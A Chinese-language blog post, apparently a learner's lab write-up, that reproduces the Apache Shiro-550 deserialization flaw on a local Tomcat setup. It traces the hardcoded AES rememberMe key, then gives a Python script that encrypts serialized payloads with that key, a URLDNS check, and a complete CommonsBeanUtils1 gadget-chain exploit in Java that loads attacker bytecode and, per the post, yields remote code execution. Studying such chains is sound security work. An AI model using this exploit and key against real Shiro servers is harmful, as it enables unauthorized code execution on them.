Shiro550漏洞分析复现
redpomelo Lv2

前言

前几天学习了Shiro的开发知识,今天复现一下Shiro550漏洞。

环境搭建

tomcat 8.5.81(下载地址:Apache Tomcat® - Welcome!

JDK 1.8 (8u65)

Shiro环境

JDK先前下载过了,这里配置Tomcat8

Tomcat&&Clone&&IDEA

Tomcat下载的这个

image-20241212185752111

解压到任意目录备用

image-20241212184741416

先把p牛的项目Clone下来,然后按住Shift+右键shirodemo文件夹选择使用idea打开项目,点击文件–>项目结构配置jdk版本,这里使用的8u65

image-20241212184929464

随后点击IDEA右上角,编辑运行配置,添加我们的Tomcat服务器

image-20241212190045631

添加成功后点击部署按钮,添加工件

image-20241212190209267

部署好之后点击运行

image-20241212190246824

这样环境就搭建好啦!登录的 username 和 password 默认是 root:secret

漏洞分析

抓包

先用Burp Suite抓个包康康,然后发现Burp Suite抓不到localhost的包,

解决方法:把localhost替换为ip地址来访问,比如我这里就是http://10.189.101.3:8080/shirodemo/login.jsp

image-20241212194014794

可以看到这样就成功抓到了包

image-20241212195116853

登录的时候数据包会返回来一个Cookie的值

image-20241212195843713

然后以后每访问什么的时候就会自动带上这个cookie,这个cookie很长,一看就是储存了什么信息,猜测可能使用的序列化与反序列化来储存信息,这样方便持久化进行保存。

跟进源码

IDEA中全局搜索cookie关键字,找到了位于shiro包下的这个Cookie

image-20241212200354015

,当我点进去时候是Class文件,这时候阅读极为困难,试图把源码下载下来、

。。。又出现了这个问题,可能是我本地Maven环境有问题

image-20241212200456891

踩坑解决:

手动下载Shiro源码:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

image-20241212201122199

选择源选择源代码,现在看到的就是正常的Java文件了捏

分析

可以看到这个类里面有两个方法,一看就是对rememberMe进行序列化和反序列化的操作的

image-20241212201321344

这边我们重点看getRememberedSerializedIdentity这个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}

WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}

HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);

String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded; //关注这里
} else {
//no cookie set - new site visitor?
return null;
}
}

跟进到这个方法后,找一下哪里调用了这个方法

image-20241213135841007

然后就跟进到了这里,可以看到convertBytesToPrincipals用来转换getRememberedSerializedIdentity,点进去后看这个convertBytesToPrincipals

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

很明显,就两个操作,一个是解密,一个是反序列化,因为字节是加密过的,所以我们先把他解密

解密

跟进到decrypt这个函数里,这是一个接口

image-20241213141024753

看他的参数名,第一个叫encrypted,第二个是什么什么key,就可以想到这是一个对称加密算法,是用key去解的,然后我们回到AbstractRememberMeManager,

继续跟进getDecryptionCipherKey

image-20241213141415077

最后找到了这里对key进行赋值,然后看一下谁调用了setDecryptionCipherKey

image-20241213142940377

找到了这里

image-20241213143027556

最后再找谁调了setCipherKey

image-20241213143125426

发现在AbstractRememberMeManager进行赋值,而这个DEFAULT_CIPHER_KEY_BYTES是一个常量

image-20241213143210697

点进去发现他是固定了,看到这里对这个漏洞也多少有点眉目了,因为其硬编码了密钥,所以导致了固定key加密,现在我们只要构造一个序列化的payload,然后用AES的key加密,然后base64编码一下,最后想办法走到正常流程里调用反序列化就执行攻击的操作了了

验证(URLDNS链)

首先用URLDNS链去验证一下漏洞,urldns这条链之前就写过了,运行文件生成payload

image-20241213145858264

拿出来后要对这个文件进行AES加密,然后base64编码,脚本照着组长的抄的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import base64
import uuid
from Crypto.Cipher import AES


def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data


def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext

def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext

if __name__ == "__main__":
data = get_file_data("ser.bin")
print(aes_enc(data))


得到以下字符串
image-20241213152654385

拿到这个payload,替换掉rememberMe,就成功接收到dns回显了

image-20241213153740454

(注意要把JSESSIONID删掉,不然保持登录状态的话代码逻辑是进入不到反序列化的流程的)

CB1链分析

Shiro是不带有CC的,但是它有CB,趁着这个机会自己写一次CB链

CB简介

CB链”指的是一种类似于CC链的攻击链,但使用的是Apache Commons项目中的Commons BeanUtils库。 Commons BeanUtils库提供了用于操作Java对象的实用工具类,例如BeanMap和BeanComparator等

什么是JavaBean

JavaBean 是一种JAVA语言写成的可重用组件,它是一个类

所谓javaBean,是指符合如下标准的Java类:

  • 类是公共的
  • 有一个无参的公共的构造器
  • 有私有属性,且须有对应的get、set方法去设置属性
  • 对于boolean类型的成员变量,允许使用”is”代替上面的”get”和”set”

在java中,有很多类定义都符合这样的规范

比如这样一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Person {
private String name; // 属性一般定义为private
public Person(String name) {
this.name = name;
}
public String getName() { //读方法
return name;
}

public void setName(String n) { //写方法
name = n;
}
}

它包含了一个私有属性name,以及读取和设置这个属性的两个public方法 getName()和setName(),即getter和setter

这种 class 就是 JavaBean

用于对属性赋值的方法称为属性修改器或setter方法,用于读取属性值的方法称为属性访问器或getter方法

环境搭建

Maven

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependency>  
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>

分析

上面说了CB的用处,比如一个类Person是个JavaBean,它有个name属性,则PropertyUtils.getProperty(new Person(),"name")则会调用它的getName()方法,那么之前写的CC3里的Templateslmpl的getOutputProperties也是get开头的

image-20241213200255600

我们把CC3的代码粘过来,成功执行了命令,这样就成功找到了反序列化的尾部

image-20241213200151611

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
// 反射修改templates的值
Class tc = templates.getClass();
// 修改_name
Field NameFIeld = tc.getDeclaredField("_name");
NameFIeld.setAccessible(true);
NameFIeld.set(templates, "test"); // 赋值
// 修改_bytecodes
Field BytecodesField = tc.getDeclaredField("_bytecodes");
BytecodesField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("D://temp/classes/Test.class"));
byte[][] codes = {code};
BytecodesField.set(templates,codes);
// 修改tfactory
Field tFactoryField = tc.getDeclaredField("_tfactory");
tFactoryField.setAccessible(true);
tFactoryField.set(templates, new TransformerFactoryImpl());
//
PropertyUtilsBean propertyUtilsBean = new PropertyUtilsBean();
propertyUtilsBean.getProperty(templates,"outputProperties");
}

说白了getProperty的属性值可以控制的话,就可以任意执行代码,所以还是找反序列化的那个思路,看看哪里调了getProperty

image-20241213205743716

这样就找到了位于BeanComparator类的compare方法,而且property这个属性还是可以控制的,o1是我们传的参数。

继续找谁调用了 compare() 方法,这里就太多了,我们优先去找能够进行序列化的类,于是这里找到了 PriorityQueue 这个类。PriorityQueue这个类的siftDownUsingComparator()方法调用了compare(),继续找谁调用了 siftDownUsingComparator() 方法,发现在同一个类中的 siftDown() 方法调用了它。同样,发现同个类下的 heapify() 方法调用了 siftDown() 方法

,最后在寻找谁调用heapify时候,找到了readobejct

EXP编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package com.study;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB1 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
// 反射修改templates的值
Class tc = templates.getClass();
// 修改_name
Field NameField = tc.getDeclaredField("_name");
NameField.setAccessible(true);
NameField.set(templates, "test"); // 赋值
// 修改_bytecodes
Field BytecodesField = tc.getDeclaredField("_bytecodes");
BytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://temp/classes/Test.class"));
byte[][] codes = {code};
BytecodesField.set(templates, codes);

BeanComparator beanComparator = new BeanComparator("outputProperties");

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
// 反射将 property 的值赋为 outputProperties 让他不要在序列化的时候就执行
Class pc = priorityQueue.getClass();
Field comparatorField = pc.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue, beanComparator);


// 序列化
//serialize(priorityQueue);

// 反序列化
//unserialize("ser.bin");
}

// 序列化
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

// 反序列化
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

CB1打Shiro550

用上面我们写的EXP生成的payload去生成,放到burp里,一样的删除掉JSESSIONID,然后就成功执行了命令,造成了RCE

image-20241213214422589

参考资料

https://www.bilibili.com/video/BV1iF411b7bD?spm_id_from=333.788.videopod.sections&vd_source=7ee5bc742ad8e76b4536e01b16e6839d

https://drun1baby.top/2022/07/12/CommonsBeanUtils%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#1-%E5%B0%BE%E9%83%A8%E9%93%BE%E5%AD%90-%E2%80%94%E2%80%94%E2%80%94%E2%80%94-%E5%88%A9%E7%94%A8-TemplatesImpl-%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 15.4k 访客数 访问量